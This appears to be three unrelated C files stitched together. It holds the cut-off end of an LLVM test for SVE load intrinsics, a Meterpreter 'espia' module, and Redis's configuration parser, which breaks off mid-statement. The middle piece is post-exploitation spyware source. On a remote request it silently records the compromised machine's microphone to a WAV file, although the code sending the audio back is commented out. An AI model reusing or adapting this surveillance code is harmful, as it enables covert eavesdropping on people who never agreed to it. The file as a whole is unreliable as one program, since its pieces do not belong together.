<vscale x 16 x i8>, <vscale x 16 x i8>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 64 x i8> @llvm.aarch64.sve.ld4.nxv64i8.nxv16i1(<vscale x 16 x i1> %pg, i8* %[[GEP]]) // CHECK-NEXT: ret <vscale x 64 x i8> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_u8,,)(pg, base, vnum); } svuint16x4_t test_svld4_vnum_u16(svbool_t pg, const uint16_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_u16 // CHECK-DAG: %[[PG:.*]] = call <vscale x 8 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv8i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast i16* %base to <vscale x 8 x i16>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 8 x i16>, <vscale x 8 x i16>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 32 x i16> @llvm.aarch64.sve.ld4.nxv32i16.nxv8i1(<vscale x 8 x i1> %[[PG]], i16* %[[GEP]]) // CHECK-NEXT: ret <vscale x 32 x i16> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_u16,,)(pg, base, vnum); } svuint32x4_t test_svld4_vnum_u32(svbool_t pg, const uint32_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_u32 // CHECK-DAG: %[[PG:.*]] = call <vscale x 4 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv4i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast i32* %base to <vscale x 4 x i32>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 4 x i32>, <vscale x 4 x i32>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 16 x i32> @llvm.aarch64.sve.ld4.nxv16i32.nxv4i1(<vscale x 4 x i1> %[[PG]], i32* %[[GEP]]) // CHECK-NEXT: ret <vscale x 16 x i32> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_u32,,)(pg, base, vnum); } svuint64x4_t test_svld4_vnum_u64(svbool_t pg, const uint64_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_u64 // CHECK-DAG: %[[PG:.*]] = call <vscale x 2 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv2i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast i64* %base to <vscale x 2 x i64>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 2 x i64>, <vscale x 2 x i64>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 8 x i64> @llvm.aarch64.sve.ld4.nxv8i64.nxv2i1(<vscale x 2 x i1> %[[PG]], i64* %[[GEP]]) // CHECK-NEXT: ret <vscale x 8 x i64> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_u64,,)(pg, base, vnum); } svfloat16x4_t test_svld4_vnum_f16(svbool_t pg, const float16_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_f16 // CHECK-DAG: %[[PG:.*]] = call <vscale x 8 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv8i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast half* %base to <vscale x 8 x half>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 8 x half>, <vscale x 8 x half>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 32 x half> @llvm.aarch64.sve.ld4.nxv32f16.nxv8i1(<vscale x 8 x i1> %[[PG]], half* %[[GEP]]) // CHECK-NEXT: ret <vscale x 32 x half> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_f16,,)(pg, base, vnum); } svfloat32x4_t test_svld4_vnum_f32(svbool_t pg, const float32_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_f32 // CHECK-DAG: %[[PG:.*]] = call <vscale x 4 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv4i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast float* %base to <vscale x 4 x float>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 4 x float>, <vscale x 4 x float>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 16 x float> @llvm.aarch64.sve.ld4.nxv16f32.nxv4i1(<vscale x 4 x i1> %[[PG]], float* %[[GEP]]) // CHECK-NEXT: ret <vscale x 16 x float> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_f32,,)(pg, base, vnum); } svfloat64x4_t test_svld4_vnum_f64(svbool_t pg, const float64_t *base, int64_t vnum) { // CHECK-LABEL: test_svld4_vnum_f64 // CHECK-DAG: %[[PG:.*]] = call <vscale x 2 x i1> @llvm.aarch64.sve.convert.from.svbool.nxv2i1(<vscale x 16 x i1> %pg) // CHECK-DAG: %[[BASE:.*]] = bitcast double* %base to <vscale x 2 x double>* // CHECK-DAG: %[[GEP:.*]] = getelementptr <vscale x 2 x double>, <vscale x 2 x double>* %[[BASE]], i64 %vnum, i64 0 // CHECK: %[[LOAD:.*]] = call <vscale x 8 x double> @llvm.aarch64.sve.ld4.nxv8f64.nxv2i1(<vscale x 2 x i1> %[[PG]], double* %[[GEP]]) // CHECK-NEXT: ret <vscale x 8 x double> %[[LOAD]] return SVE_ACLE_FUNC(svld4_vnum,_f64,,)(pg, base, vnum); }
854937.c
#define _CRT_SECURE_NO_DEPRECATE 1 #include "../../common/common.h" #include <stdio.h> #include <windows.h> #include <tchar.h> #include <string.h> #include <stdlib.h> #include <malloc.h> #include "espia.h" #pragma comment(lib, "vfw32.lib") #pragma comment(lib, "winmm.lib") #define capSendMessage(hWnd, uMsg, wParm, lParam) ((IsWindow(hWnd)) ? SendMessage(hWnd, uMsg, (WPARAM)(wParm), (LPARAM)(lParam)) : 0) BOOL capmicaudio(char* szFile, int millisecs) { UINT wDeviceID; DWORD dwReturn; MCI_OPEN_PARMSA mciOpenParms; MCI_RECORD_PARMS mciRecordParms; MCI_SAVE_PARMSA mciSaveParms; MCI_PLAY_PARMS mciPlayParms; DWORD dwMilliSeconds; dwMilliSeconds = millisecs; // Open a waveform-audio device with a new file for recording. mciOpenParms.lpstrDeviceType = "waveaudio"; mciOpenParms.lpstrElementName = ""; if (dwReturn = mciSendCommand(0, MCI_OPEN, MCI_OPEN_ELEMENT | MCI_OPEN_TYPE, (DWORD_PTR)(LPVOID)&mciOpenParms)) { // Failed to open device; don't close it, just return error. return (dwReturn); } // The device opened successfully; get the device ID. wDeviceID = mciOpenParms.wDeviceID; mciRecordParms.dwTo = dwMilliSeconds; if (dwReturn = mciSendCommand(wDeviceID, MCI_RECORD, MCI_TO | MCI_WAIT, (DWORD)(DWORD_PTR)&mciRecordParms)) { mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0); return (dwReturn); } // Play the recording and query user to save the file. mciPlayParms.dwFrom = 0L; // Save the recording to a file. Wait for // the operation to complete before continuing. mciSaveParms.lpfilename = szFile; if (dwReturn = mciSendCommandA(wDeviceID, MCI_SAVE, MCI_SAVE_FILE | MCI_WAIT, (DWORD_PTR)(LPVOID)&mciSaveParms)) { mciSendCommand(wDeviceID, MCI_CLOSE, 0, (DWORD_PTR)0); return (dwReturn); } return (0L); } int __declspec(dllexport) controlmic(char **waveresults, int msecs) { DWORD dwError = 0; char *wavestring = NULL; /* METERPRETER CODE */ // char buffer[100]; /* END METERPRETER CODE */ capmicaudio("C:\\test.wav", msecs); *waveresults = wavestring; /* return the correct code */ return dwError; } /* * Grabs the audio from mic. */ DWORD request_audio_get_dev_audio(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; char *wave = NULL; if (controlmic(&wave,packet_get_tlv_value_uint(packet, TLV_TYPE_DEV_RECTIME))) { res = GetLastError(); } //packet_add_tlv_string(response, TLV_TYPE_DEV_AUDIO, wave); packet_transmit_response(res, remote, response); if (wave) free(wave); return res; }
709019.c
/* Configuration file parsing and CONFIG GET/SET commands implementation. * * Copyright (c) 2009-2012, Salvatore Sanfilippo <antirez at gmail dot com> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Redis nor the names of its contributors may be used * to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include "server.h" #include "cluster.h" #include <fcntl.h> #include <sys/stat.h> /*----------------------------------------------------------------------------- * Config file name-value maps. *----------------------------------------------------------------------------*/ typedef struct configEnum { const char *name; const int val; } configEnum; configEnum maxmemory_policy_enum[] = { {"volatile-lru", MAXMEMORY_VOLATILE_LRU}, {"volatile-lfu", MAXMEMORY_VOLATILE_LFU}, {"volatile-random",MAXMEMORY_VOLATILE_RANDOM}, {"volatile-ttl",MAXMEMORY_VOLATILE_TTL}, {"allkeys-lru",MAXMEMORY_ALLKEYS_LRU}, {"allkeys-lfu",MAXMEMORY_ALLKEYS_LFU}, {"allkeys-random",MAXMEMORY_ALLKEYS_RANDOM}, {"noeviction",MAXMEMORY_NO_EVICTION}, {NULL, 0} }; configEnum syslog_facility_enum[] = { {"user", LOG_USER}, {"local0", LOG_LOCAL0}, {"local1", LOG_LOCAL1}, {"local2", LOG_LOCAL2}, {"local3", LOG_LOCAL3}, {"local4", LOG_LOCAL4}, {"local5", LOG_LOCAL5}, {"local6", LOG_LOCAL6}, {"local7", LOG_LOCAL7}, {NULL, 0} }; configEnum loglevel_enum[] = { {"debug", LL_DEBUG}, {"verbose", LL_VERBOSE}, {"notice", LL_NOTICE}, {"warning", LL_WARNING}, {NULL,0} }; configEnum supervised_mode_enum[] = { {"upstart", SUPERVISED_UPSTART}, {"systemd", SUPERVISED_SYSTEMD}, {"auto", SUPERVISED_AUTODETECT}, {"no", SUPERVISED_NONE}, {NULL, 0} }; configEnum aof_fsync_enum[] = { {"everysec", AOF_FSYNC_EVERYSEC}, {"always", AOF_FSYNC_ALWAYS}, {"no", AOF_FSYNC_NO}, {NULL, 0} }; /* Output buffer limits presets. */ clientBufferLimitsConfig clientBufferLimitsDefaults[CLIENT_TYPE_OBUF_COUNT] = { {0, 0, 0}, /* normal */ {1024*1024*256, 1024*1024*64, 60}, /* slave */ {1024*1024*32, 1024*1024*8, 60} /* pubsub */ }; /*----------------------------------------------------------------------------- * Enum access functions *----------------------------------------------------------------------------*/ /* Get enum value from name. If there is no match INT_MIN is returned. */ int configEnumGetValue(configEnum *ce, char *name) { while(ce->name != NULL) { if (!strcasecmp(ce->name,name)) return ce->val; ce++; } return INT_MIN; } /* Get enum name from value. If no match is found NULL is returned. */ const char *configEnumGetName(configEnum *ce, int val) { while(ce->name != NULL) { if (ce->val == val) return ce->name; ce++; } return NULL; } /* Wrapper for configEnumGetName() returning "unknown" insetad of NULL if * there is no match. */ const char *configEnumGetNameOrUnknown(configEnum *ce, int val) { const char *name = configEnumGetName(ce,val); return name ? name : "unknown"; } /* Used for INFO generation. */ const char *evictPolicyToString(void) { return configEnumGetNameOrUnknown(maxmemory_policy_enum,server.maxmemory_policy); } /*----------------------------------------------------------------------------- * Config file parsing *----------------------------------------------------------------------------*/ int yesnotoi(char *s) { if (!strcasecmp(s,"yes")) return 1; else if (!strcasecmp(s,"no")) return 0; else return -1; } void appendServerSaveParams(time_t seconds, int changes) { server.saveparams = zrealloc(server.saveparams,sizeof(struct saveparam)*(server.saveparamslen+1)); server.saveparams[server.saveparamslen].seconds = seconds; server.saveparams[server.saveparamslen].changes = changes; server.saveparamslen++; } void resetServerSaveParams(void) { zfree(server.saveparams); server.saveparams = NULL; server.saveparamslen = 0; } void queueLoadModule(sds path, sds *argv, int argc) { int i; struct moduleLoadQueueEntry *loadmod; loadmod = zmalloc(sizeof(struct moduleLoadQueueEntry)); loadmod->argv = zmalloc(sizeof(robj*)*argc); loadmod->path = sdsnew(path); loadmod->argc = argc; for (i = 0; i < argc; i++) { loadmod->argv[i] = createRawStringObject(argv[i],sdslen(argv[i])); } listAddNodeTail(server.loadmodule_queue,loadmod); } void loadServerConfigFromString(char *config) { char *err = NULL; int linenum = 0, totlines, i; int slaveof_linenum = 0; sds *lines; lines = sdssplitlen(config,strlen(config),"\n",1,&totlines); for (i = 0; i < totlines; i++) { sds *argv; int argc; linenum = i+1; lines[i] = sdstrim(lines[i]," \t\r\n"); /* Skip comments and blank lines */ if (lines[i][0] == '#' || lines[i][0] == '\0') continue; /* Split into arguments */ argv = sdssplitargs(lines[i],&argc); if (argv == NULL) { err = "Unbalanced quotes in configuration line"; goto loaderr; } /* Skip this line if the resulting command vector is empty. */ if (argc == 0) { sdsfreesplitres(argv,argc); continue; } sdstolower(argv[0]); /* Execute config directives */ if (!strcasecmp(argv[0],"timeout") && argc == 2) { server.maxidletime = atoi(argv[1]); if (server.maxidletime < 0) { err = "Invalid timeout value"; goto loaderr; } } else if (!strcasecmp(argv[0],"tcp-keepalive") && argc == 2) { server.tcpkeepalive = atoi(argv[1]); if (server.tcpkeepalive < 0) { err = "Invalid tcp-keepalive value"; goto loaderr; } } else if (!strcasecmp(argv[0],"protected-mode") && argc == 2) { if ((server.protected_mode = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"port") && argc == 2) { server.port = atoi(argv[1]); if (server.port < 0 || server.port > 65535) { err = "Invalid port"; goto loaderr; } } else if (!strcasecmp(argv[0],"tcp-backlog") && argc == 2) { server.tcp_backlog = atoi(argv[1]); if (server.tcp_backlog < 0) { err = "Invalid backlog value"; goto loaderr; } } else if (!strcasecmp(argv[0],"bind") && argc >= 2) { int j, addresses = argc-1; if (addresses > CONFIG_BINDADDR_MAX) { err = "Too many bind addresses specified"; goto loaderr; } for (j = 0; j < addresses; j++) server.bindaddr[j] = zstrdup(argv[j+1]); server.bindaddr_count = addresses; } else if (!strcasecmp(argv[0],"unixsocket") && argc == 2) { server.unixsocket = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"unixsocketperm") && argc == 2) { errno = 0; server.unixsocketperm = (mode_t)strtol(argv[1], NULL, 8); if (errno || server.unixsocketperm > 0777) { err = "Invalid socket file permissions"; goto loaderr; } } else if (!strcasecmp(argv[0],"save")) { if (argc == 3) { int seconds = atoi(argv[1]); int changes = atoi(argv[2]); if (seconds < 1 || changes < 0) { err = "Invalid save parameters"; goto loaderr; } appendServerSaveParams(seconds,changes); } else if (argc == 2 && !strcasecmp(argv[1],"")) { resetServerSaveParams(); } } else if (!strcasecmp(argv[0],"dir") && argc == 2) { if (chdir(argv[1]) == -1) { serverLog(LL_WARNING,"Can't chdir to '%s': %s", argv[1], strerror(errno)); exit(1); } } else if (!strcasecmp(argv[0],"loglevel") && argc == 2) { server.verbosity = configEnumGetValue(loglevel_enum,argv[1]); if (server.verbosity == INT_MIN) { err = "Invalid log level. " "Must be one of debug, verbose, notice, warning"; goto loaderr; } } else if (!strcasecmp(argv[0],"logfile") && argc == 2) { FILE *logfp; zfree(server.logfile); server.logfile = zstrdup(argv[1]); if (server.logfile[0] != '\0') { /* Test if we are able to open the file. The server will not * be able to abort just for this problem later... */ logfp = fopen(server.logfile,"a"); if (logfp == NULL) { err = sdscatprintf(sdsempty(), "Can't open the log file: %s", strerror(errno)); goto loaderr; } fclose(logfp); } } else if (!strcasecmp(argv[0],"always-show-logo") && argc == 2) { if ((server.always_show_logo = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"syslog-enabled") && argc == 2) { if ((server.syslog_enabled = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"syslog-ident") && argc == 2) { if (server.syslog_ident) zfree(server.syslog_ident); server.syslog_ident = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"syslog-facility") && argc == 2) { server.syslog_facility = configEnumGetValue(syslog_facility_enum,argv[1]); if (server.syslog_facility == INT_MIN) { err = "Invalid log facility. Must be one of USER or between LOCAL0-LOCAL7"; goto loaderr; } } else if (!strcasecmp(argv[0],"databases") && argc == 2) { server.dbnum = atoi(argv[1]); if (server.dbnum < 1) { err = "Invalid number of databases"; goto loaderr; } } else if (!strcasecmp(argv[0],"include") && argc == 2) { loadServerConfig(argv[1],NULL); } else if (!strcasecmp(argv[0],"maxclients") && argc == 2) { server.maxclients = atoi(argv[1]); if (server.maxclients < 1) { err = "Invalid max clients limit"; goto loaderr; } } else if (!strcasecmp(argv[0],"maxmemory") && argc == 2) { server.maxmemory = memtoll(argv[1],NULL); } else if (!strcasecmp(argv[0],"maxmemory-policy") && argc == 2) { server.maxmemory_policy = configEnumGetValue(maxmemory_policy_enum,argv[1]); if (server.maxmemory_policy == INT_MIN) { err = "Invalid maxmemory policy"; goto loaderr; } } else if (!strcasecmp(argv[0],"maxmemory-samples") && argc == 2) { server.maxmemory_samples = atoi(argv[1]); if (server.maxmemory_samples <= 0) { err = "maxmemory-samples must be 1 or greater"; goto loaderr; } } else if (!strcasecmp(argv[0],"lfu-log-factor") && argc == 2) { server.lfu_log_factor = atoi(argv[1]); if (server.lfu_log_factor < 0) { err = "lfu-log-factor must be 0 or greater"; goto loaderr; } } else if (!strcasecmp(argv[0],"lfu-decay-time") && argc == 2) { server.lfu_decay_time = atoi(argv[1]); if (server.lfu_decay_time < 0) { err = "lfu-decay-time must be 0 or greater"; goto loaderr; } } else if (!strcasecmp(argv[0],"slaveof") && argc == 3) { slaveof_linenum = linenum; server.masterhost = sdsnew(argv[1]); server.masterport = atoi(argv[2]); server.repl_state = REPL_STATE_CONNECT; } else if (!strcasecmp(argv[0],"repl-ping-slave-period") && argc == 2) { server.repl_ping_slave_period = atoi(argv[1]); if (server.repl_ping_slave_period <= 0) { err = "repl-ping-slave-period must be 1 or greater"; goto loaderr; } } else if (!strcasecmp(argv[0],"repl-timeout") && argc == 2) { server.repl_timeout = atoi(argv[1]); if (server.repl_timeout <= 0) { err = "repl-timeout must be 1 or greater"; goto loaderr; } } else if (!strcasecmp(argv[0],"repl-disable-tcp-nodelay") && argc==2) { if ((server.repl_disable_tcp_nodelay = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"repl-diskless-sync") && argc==2) { if ((server.repl_diskless_sync = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"repl-diskless-sync-delay") && argc==2) { server.repl_diskless_sync_delay = atoi(argv[1]); if (server.repl_diskless_sync_delay < 0) { err = "repl-diskless-sync-delay can't be negative"; goto loaderr; } } else if (!strcasecmp(argv[0],"repl-backlog-size") && argc == 2) { long long size = memtoll(argv[1],NULL); if (size <= 0) { err = "repl-backlog-size must be 1 or greater."; goto loaderr; } resizeReplicationBacklog(size); } else if (!strcasecmp(argv[0],"repl-backlog-ttl") && argc == 2) { server.repl_backlog_time_limit = atoi(argv[1]); if (server.repl_backlog_time_limit < 0) { err = "repl-backlog-ttl can't be negative "; goto loaderr; } } else if (!strcasecmp(argv[0],"masterauth") && argc == 2) { zfree(server.masterauth); server.masterauth = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"slave-serve-stale-data") && argc == 2) { if ((server.repl_serve_stale_data = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"slave-read-only") && argc == 2) { if ((server.repl_slave_ro = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"rdbcompression") && argc == 2) { if ((server.rdb_compression = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"rdbchecksum") && argc == 2) { if ((server.rdb_checksum = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"activerehashing") && argc == 2) { if ((server.activerehashing = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"lazyfree-lazy-eviction") && argc == 2) { if ((server.lazyfree_lazy_eviction = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"lazyfree-lazy-expire") && argc == 2) { if ((server.lazyfree_lazy_expire = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"lazyfree-lazy-server-del") && argc == 2){ if ((server.lazyfree_lazy_server_del = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"slave-lazy-flush") && argc == 2) { if ((server.repl_slave_lazy_flush = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"activedefrag") && argc == 2) { if ((server.active_defrag_enabled = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"daemonize") && argc == 2) { if ((server.daemonize = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"hz") && argc == 2) { server.hz = atoi(argv[1]); if (server.hz < CONFIG_MIN_HZ) server.hz = CONFIG_MIN_HZ; if (server.hz > CONFIG_MAX_HZ) server.hz = CONFIG_MAX_HZ; } else if (!strcasecmp(argv[0],"appendonly") && argc == 2) { int yes; if ((yes = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } server.aof_state = yes ? AOF_ON : AOF_OFF; } else if (!strcasecmp(argv[0],"appendfilename") && argc == 2) { if (!pathIsBaseName(argv[1])) { err = "appendfilename can't be a path, just a filename"; goto loaderr; } zfree(server.aof_filename); server.aof_filename = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"no-appendfsync-on-rewrite") && argc == 2) { if ((server.aof_no_fsync_on_rewrite= yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"appendfsync") && argc == 2) { server.aof_fsync = configEnumGetValue(aof_fsync_enum,argv[1]); if (server.aof_fsync == INT_MIN) { err = "argument must be 'no', 'always' or 'everysec'"; goto loaderr; } } else if (!strcasecmp(argv[0],"auto-aof-rewrite-percentage") && argc == 2) { server.aof_rewrite_perc = atoi(argv[1]); if (server.aof_rewrite_perc < 0) { err = "Invalid negative percentage for AOF auto rewrite"; goto loaderr; } } else if (!strcasecmp(argv[0],"auto-aof-rewrite-min-size") && argc == 2) { server.aof_rewrite_min_size = memtoll(argv[1],NULL); } else if (!strcasecmp(argv[0],"aof-rewrite-incremental-fsync") && argc == 2) { if ((server.aof_rewrite_incremental_fsync = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"aof-load-truncated") && argc == 2) { if ((server.aof_load_truncated = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"aof-use-rdb-preamble") && argc == 2) { if ((server.aof_use_rdb_preamble = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"requirepass") && argc == 2) { if (strlen(argv[1]) > CONFIG_AUTHPASS_MAX_LEN) { err = "Password is longer than CONFIG_AUTHPASS_MAX_LEN"; goto loaderr; } server.requirepass = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"pidfile") && argc == 2) { zfree(server.pidfile); server.pidfile = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"dbfilename") && argc == 2) { if (!pathIsBaseName(argv[1])) { err = "dbfilename can't be a path, just a filename"; goto loaderr; } zfree(server.rdb_filename); server.rdb_filename = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"active-defrag-threshold-lower") && argc == 2) { server.active_defrag_threshold_lower = atoi(argv[1]); if (server.active_defrag_threshold_lower < 0) { err = "active-defrag-threshold-lower must be 0 or greater"; goto loaderr; } } else if (!strcasecmp(argv[0],"active-defrag-threshold-upper") && argc == 2) { server.active_defrag_threshold_upper = atoi(argv[1]); if (server.active_defrag_threshold_upper < 0) { err = "active-defrag-threshold-upper must be 0 or greater"; goto loaderr; } } else if (!strcasecmp(argv[0],"active-defrag-ignore-bytes") && argc == 2) { server.active_defrag_ignore_bytes = memtoll(argv[1], NULL); if (server.active_defrag_ignore_bytes <= 0) { err = "active-defrag-ignore-bytes must above 0"; goto loaderr; } } else if (!strcasecmp(argv[0],"active-defrag-cycle-min") && argc == 2) { server.active_defrag_cycle_min = atoi(argv[1]); if (server.active_defrag_cycle_min < 1 || server.active_defrag_cycle_min > 99) { err = "active-defrag-cycle-min must be between 1 and 99"; goto loaderr; } } else if (!strcasecmp(argv[0],"active-defrag-cycle-max") && argc == 2) { server.active_defrag_cycle_max = atoi(argv[1]); if (server.active_defrag_cycle_max < 1 || server.active_defrag_cycle_max > 99) { err = "active-defrag-cycle-max must be between 1 and 99"; goto loaderr; } } else if (!strcasecmp(argv[0],"hash-max-ziplist-entries") && argc == 2) { server.hash_max_ziplist_entries = memtoll(argv[1], NULL); } else if (!strcasecmp(argv[0],"hash-max-ziplist-value") && argc == 2) { server.hash_max_ziplist_value = memtoll(argv[1], NULL); } else if (!strcasecmp(argv[0],"list-max-ziplist-entries") && argc == 2){ /* DEAD OPTION */ } else if (!strcasecmp(argv[0],"list-max-ziplist-value") && argc == 2) { /* DEAD OPTION */ } else if (!strcasecmp(argv[0],"list-max-ziplist-size") && argc == 2) { server.list_max_ziplist_size = atoi(argv[1]); } else if (!strcasecmp(argv[0],"list-compress-depth") && argc == 2) { server.list_compress_depth = atoi(argv[1]); } else if (!strcasecmp(argv[0],"set-max-intset-entries") && argc == 2) { server.set_max_intset_entries = memtoll(argv[1], NULL); } else if (!strcasecmp(argv[0],"zset-max-ziplist-entries") && argc == 2) { server.zset_max_ziplist_entries = memtoll(argv[1], NULL); } else if (!strcasecmp(argv[0],"zset-max-ziplist-value") && argc == 2) { server.zset_max_ziplist_value = memtoll(argv[1], NULL); } else if (!strcasecmp(argv[0],"hll-sparse-max-bytes") && argc == 2) { server.hll_sparse_max_bytes = memtoll(argv[1], NULL); } else if (!strcasecmp(argv[0],"rename-command") && argc == 3) { struct redisCommand *cmd = lookupCommand(argv[1]); int retval; if (!cmd) { err = "No such command in rename-command"; goto loaderr; } /* If the target command name is the empty string we just * remove it from the command table. */ retval = dictDelete(server.commands, argv[1]); serverAssert(retval == DICT_OK); /* Otherwise we re-add the command under a different name. */ if (sdslen(argv[2]) != 0) { sds copy = sdsdup(argv[2]); retval = dictAdd(server.commands, copy, cmd); if (retval != DICT_OK) { sdsfree(copy); err = "Target command name already exists"; goto loaderr; } } } else if (!strcasecmp(argv[0],"cluster-enabled") && argc == 2) { if ((server.cluster_enabled = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"cluster-config-file") && argc == 2) { zfree(server.cluster_configfile); server.cluster_configfile = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"cluster-announce-ip") && argc == 2) { zfree(server.cluster_announce_ip); server.cluster_announce_ip = zstrdup(argv[1]); } else if (!strcasecmp(argv[0],"cluster-announce-port") && argc == 2) { server.cluster_announce_port = atoi(argv[1]); if (server.cluster_announce_port < 0 || server.cluster_announce_port > 65535) { err = "Invalid port"; goto loaderr; } } else if (!strcasecmp(argv[0],"cluster-announce-bus-port") && argc == 2) { server.cluster_announce_bus_port = atoi(argv[1]); if (server.cluster_announce_bus_port < 0 || server.cluster_announce_bus_port > 65535) { err = "Invalid port"; goto loaderr; } } else if (!strcasecmp(argv[0],"cluster-require-full-coverage") && argc == 2) { if ((server.cluster_require_full_coverage = yesnotoi(argv[1])) == -1) { err = "argument must be 'yes' or 'no'"; goto loaderr; } } else if (!strcasecmp(argv[0],"cluster-node-timeout") && argc == 2) { server.cluster_node_timeout = strtoll(argv[1],NULL,10); if (server.cluster_node_timeout <= 0) { err = "cluster node timeout must be 1 or greater"; goto loaderr; } } else if 